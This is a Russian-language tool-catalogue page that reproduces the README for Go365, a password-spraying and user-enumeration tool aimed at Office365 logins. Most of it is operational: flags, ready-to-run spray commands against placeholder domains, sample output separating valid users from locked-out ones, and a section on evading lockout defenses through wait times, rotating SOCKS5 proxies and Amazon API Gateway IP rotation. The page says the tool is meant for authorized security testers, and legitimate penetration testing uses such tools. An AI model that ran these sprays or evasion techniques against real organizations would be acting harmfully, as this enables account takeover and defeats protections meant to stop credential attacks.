Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Go365 — Инструмент для атак на пользователей Office365 | Kitploit
Инструменты/GitHubGitHub/optiv/go365
Атаки на ПаролиСбор информацииТестирование на ПроникновениеАутентификация
GitHuboptiv/go365

Go365

Инструмент для атак на пользователей Office365

Репозиторий
6521024 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Go365 v2.0

  • Исправлены проблемы с AWS gateway (спасибо h0useh3ad!)
  • Больше не завершается с ошибкой при сбое подключения к прокси-серверу
  • Добавлена конечная точка graph

Пожалуйста, прочитайте весь этот README перед использованием Go365!

Go365 — это инструмент, предназначенный для перечисления пользователей* и атак по подбору паролей на организации, использующие Office365 (сейчас/скоро Microsoft365). Go365 использует уникальную конечную точку SOAP API на login.microsoftonline.com, которую большинство других инструментов не используют. При запросе с адресом электронной почты и паролем конечная точка отвечает кодом аутентификации и авторизации Azure AD. Затем этот код обрабатывается Go365, и результат выводится на экран или в выходной файл.

* Перечисление пользователей выполняется совместно с попыткой подбора пароля. Таким образом, нет специального флага или функции для выполнения только перечисления пользователей. Вместо этого проведите первую атаку подбора пароля, а затем проанализируйте результаты на предмет действительных пользователей.

Прочитайте эти три пункта!
  • Этот инструмент может не работать на всех доменах, использующих o365. Тесты показывают, что он работает с большинством федеративных доменов. Некоторые домены будут сообщать только о действительных пользователях, даже если также указан правильный пароль. Ваши результаты могут отличаться!
  • Домены, на которых тестировался этот инструмент, показали, что он фактически не блокирует учетные записи после множественных неудачных попыток ввода пароля. Ваши результаты могут отличаться!
  • Этот инструмент предназначен для использования специалистами по безопасности, уполномоченными «атаковать» экземпляр o365 целевой организации.

Получение

Вариант 0

Загрузите предварительно скомпилированный бинарный файл для вашей ОС ЗДЕСЬ.

Вариант 1

Загрузите исходный код и скомпилируйте локально.

  1. Установите Go.
  2. Клонируйте репозиторий.
  3. Перейдите в репозиторий и скомпилируйте, черт возьми.
root@kitploit:~
go build Go365.go
  1. Запустите полученный бинарный файл.

Usage

root@kitploit:~
$ ./Go365

  ██████         ██████   ██████  ██████
 ██                   ██ ██       ██
 ██  ███   ████   █████  ███████  ██████
 ██    ██ ██  ██      ██ ██    ██      ██
  ██████   ████  ██████   ██████  ██████

 Version: 2.0
 Authors: paveway3, h0useh3ad, S4R1N, EatonChips

Usage:

  -h                            Shows this stuff


  Required - Endpoint:

    -endpoint [rst or graph]    Specify which endpoint to use
                                : (-endpoint rst)   *Classic Go365!* login.microsoftonline.com/rst2.srf. SOAP XML request with XML response
                                : (-endpoint graph)  login.microsoft.com/common/oauth2/token. HTTP POST request with JSON Response

  Required - Usernames and Passwords:

    -u <string>                 Single username to test
                                : Username with or without "@domain.com"
                                : Must also provide -d flag to specify the domain
                                : (-u [email protected])

    -ul <file>                  Username list to use (overrides -u)
                                : File should contain one username per line
                                : Usernames can have "@domain.com"
                                : If no domain is specified, the -d domain is used
                                : (-ul ./usernamelist.txt)

    -p <string>                 Password to attempt
                                : Enclose in single quotes if it contains special characters
                                : (-p password123)  or  (-p 'p@s$w0|2d')

    -pl <file>                  Password list to use (overrides -p)
                                : File should contain one password per line
                                : -delay flag can be used to include a pause between each set of attempts
                                : (-pl ./passwordlist.txt)

    -up <file>                  Userpass list to use (overrides all the above options)
                                : One username and password separated by a ":" per line
                                : Be careful of duplicate usernames!
                                : (-up ./userpasslist.txt)

  Required/Optional - Domain:

    -d <string>                 Domain to test
                                : Use this if the username or username list does not include "@targetcompany.com"
                                : (-d targetcompany.com)

  Optional:

    -w <int>                    Time to wait between attempts in seconds.
                                : Default: 1 second. 5 seconds recommended.
                                : (-w 10)

    -delay <int>                Delay (in seconds) between sprays when using a password list.
                                : Default: 60 minutes (3600 seconds) recommended.
                                : (-delay 7200)

    -o <string>                 Output file to write to
                                : Will append if file exists, otherwise a file is created
                                : (-o ./Go365output.out)

    -proxy <string>             Single SOCKS5 proxy server to use
                                : IP address and Port separated by a ":"
                                : SOCKS5 proxy
                                : (-proxy 127.0.0.1:1080)

    -proxyfile <string>         A file with a list of SOCKS5 proxy servers to use
                                : IP address and Port separated by a ":" on each line
                                : Randomly selects a proxy server to use before each request
                                : (-proxyfile ./proxyfile.txt)

    -url <string>               Endpoint to send requests to
                                : Amazon API Gateway 'Invoke URL'
                                : Highly recommended that you use this option. Google it, or
                                : check this out: https://bigb0sss.github.io/posts/redteam-rotate-ip-aws-gateway/
                                : (-url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login)

    -debug                      Debug mode.
                                : Print xml response

Examples

root@kitploit:~
  ./Go365 -endpoint rst -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com
  ./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5
  ./Go365 -endpoint rst -up ./userpass_list.txt -delay 3600 -d pwnthisfakedomain.com -w 5 -o Go365output.txt
  ./Go365 -endpoint graph -u legituser -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxy 127.0.0.1:1080
  ./Go365 -endpoint rst -u legituser -pl ./pass_list.txt -delay 1800 -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxyfile ./proxyfile.txt
  ./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login

  You can even schedule out your entire password guessing campaign using the -pl and -delay flags :)
  ./Go365 -endpoint rst -ul ./user_list.txt -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login -proxyfile listofprox.txt -pl listofpasswords.txt -delay 7200

  *Protip: If you get a lot of "Account locked out" responses, then you might wanna proxy or use an AWS Gateway.

Аккаунт заблокирован! (Защитные механизмы домена)

совет: Вероятно, вы на самом деле не блокируете учетные записи.

После ряда запросов к целевому домену результаты могут начать сообщать, что учетные записи заблокированы.

Как только этот защитный механизм срабатывает, перечисление пользователей становится ненадежным, так как запросы для действительных и недействительных пользователей будут случайным образом сообщать, что их учетные записи заблокированы.

root@kitploit:~
...
[-] User not found: [email protected]
[-] User not found: [email protected]
[-] Valid user, but invalid password: [email protected]
[!] Account Locked Out: [email protected]
[-] Valid user, but invalid password: [email protected]
[!] Account Locked Out: [email protected]
[!] Account Locked Out: [email protected]
[-] Valid user, but invalid password: [email protected]
[-] Valid user, but invalid password: [email protected]
[!] Account Locked Out: [email protected]
...

Это защитный механизм, срабатывающий в зависимости от количества действительных запросов пользователей к целевому домену за определенный период времени. Количество попыток и период времени будут варьироваться в зависимости от целевого домена, поскольку пороговые значения могут быть настроены целевой организацией.

Противодействие защите

Время ожидания

Защитный механизм основан на времени и IP-адресе. Go365 предоставляет опции для включения времени ожидания между запросами и опции прокси для распределения источника запросов. Чтобы обойти защитные механизмы на вашем целевом домене, используйте длительное время ожидания и несколько прокси-серверов.

Рекомендуется время ожидания НЕ МЕНЕЕ 15 секунд. -w 15

SOCKS5 прокси

Если вы все еще получаете ответы «учетная запись заблокирована», начните проксировать ваши запросы. Опции прокси были протестированы только на динамических прокси SSH SOCKS5 (ssh -D <port> user@proxyserver)

Создайте кучу SOCKS5 прокси на DO, AWS, Vultr или где угодно и создайте файл, который выглядит так:

root@kitploit:~
127.0.0.1:8081
127.0.0.1:8082
127.0.0.1:8083
127.0.0.1:8084
127.0.0.1:8085
127.0.0.1:8086
...

Инструмент будет случайным образом перебирать предоставленные прокси-серверы и ожидать указанное количество времени между запросами.

-w 15 -proxyfile ./proxies.txt

Amazon API Gateway

Кроме того, может быть указан URL конечной точки, чтобы этот инструмент мог взаимодействовать с Amazon API Gateway. Настройте шлюз, чтобы он указывал на конечную точку https://login.microsoftonline.com/rst2.srf, затем установите параметр -url на предоставленный Invoke URL. Ваш IP-адрес должен ротироваться с каждым запросом.

-url https://justanexample.execute-api.us-east-2.amazonaws.com/login

Скачать инструмент